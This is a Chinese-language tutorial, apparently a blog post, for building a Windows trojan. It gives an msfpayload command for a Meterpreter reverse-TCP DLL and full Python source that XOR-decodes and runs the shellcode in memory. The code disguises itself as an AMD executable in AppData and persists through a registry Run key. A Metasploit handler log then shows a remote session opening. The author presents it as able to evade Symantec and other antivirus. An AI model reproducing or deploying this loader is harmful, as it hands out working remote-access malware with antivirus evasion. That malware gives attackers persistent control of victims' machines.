创建dll
./msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.123 lport=4444 -t dll X > /tmp/sc.dll
python
main.py
import sys, osimport shutilimport timeimport ctypesimport globimport multiprocessingimport multiprocessing.forkingfrom sc import scfrom win32file import GetLongPathNameimport _winregfrom itertools import izip, cyclefrom utils import getppid, kill, get_base_dirRECONNECT_SLEEP = 60STARTUP_SLEEP = 30CHILD_STARTUP_SLEEP = 10METER_NAME = "aticlex.exe"METER_DIR = "AMD"USER_DIR = os.path.expanduser("~")try: from win32com.shell import shellcon, shell APPDATA_DIR = shell.SHGetFolderPath(0, shellcon.CSIDL_APPDATA, 0, 0) DATA_DIR = os.path.join(APPDATA_DIR, METER_DIR)except: DATA_DIR = os.path.join(USER_DIR, METER_DIR)METER_PATH = os.path.join(DATA_DIR, METER_NAME)class _Popen(multiprocessing.forking.Popen): def__init__(self, *args, **kw): if hasattr(sys, 'frozen'): os.putenv('_MEIPASS2', sys._MEIPASS) try: super(_Popen, self).__init__(*args, **kw) finally: if hasattr(sys, 'frozen'): os.unsetenv('_MEIPASS2')class Process(multiprocessing.Process): _Popen = _Popenclass Worker(Process): def xor(self, data, key='\x41\x82\x99\x73\x12\xf8\x0e\x38'): return''.join(chr(ord(c)^ord(k)) for c,k in izip(data, cycle(key))) def run(self): time.sleep(CHILD_STARTUP_SLEEP) code = self.xor(sc) cbuf = ctypes.create_string_buffer(code) func = ctypes.cast(cbuf, ctypes.CFUNCTYPE(ctypes.HRESULT)) func()def install(): reg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER) key = _winreg.OpenKey(reg, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, _winreg.KEY_ALL_ACCESS) _winreg.SetValueEx(key, METER_NAME.split(".")[0], 0, _winreg.REG_SZ, METER_PATH) path = GetLongPathName(sys.executable) if path != METER_PATH: ifnot os.path.exists(DATA_DIR): os.makedirs(DATA_DIR) try: shutil.copy(path, METER_PATH) except Exception as e: sys.exit(1) os.execve(METER_PATH, [METER_PATH], os.environ)def clean(): try: base_dir = get_base_dir() temp_dir = os.path.abspath(os.path.join(base_dir, os.pardir)) mei = base_dir.split("\\")[-1] pattern = "%s\\_MEI*" % temp_dir for path in glob.glob(pattern): path = GetLongPathName(path) if path != base_dir and mei.lower() notin path.lower(): try: shutil.rmtree(path) except: passexcept: passdef main(): kill(getppid()) time.sleep(STARTUP_SLEEP) install() clean() while True: p = Worker() p.daemon = True p.start() p.join() time.sleep(RECONNECT_SLEEP)if__name__ == "__main__": multiprocessing.freeze_support() main()
sc.py
sc='\x12\x34'.........
# sc = sc.dll open with rb mode
sc='\x12\x34'.........
# sc = sc.dll open with rb mode
然后pythoninstall 生成exe。
监听：
msf > use exploit/multi/handler
msf exploit(handler) > setpayload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > setlhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > setlport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048bytes) to 192.168.1.80
[*] Meterpreter session 1opened (192.168.1.123:4444-> 192.168.1.80:1138) at 2014-10-2219:03:43-0500
meterpreter >
msf > use exploit/multi/handler
msf exploit(handler) > setpayload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > setlhost 192.168.1.123
lhost => 192.168.1.123
msf exploit(handler) > setlport 4444
lport => 4444
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.123:4444
[*] Starting the payload handler...
[*] Sending stage (770048bytes) to 192.168.1.80
[*] Meterpreter session 1opened (192.168.1.123:4444-> 192.168.1.80:1138) at 2014-10-2219:03:43-0500
meterpreter >
木马特征：
添加注册表启动项，定时load msf payload，过赛门铁克等杀软。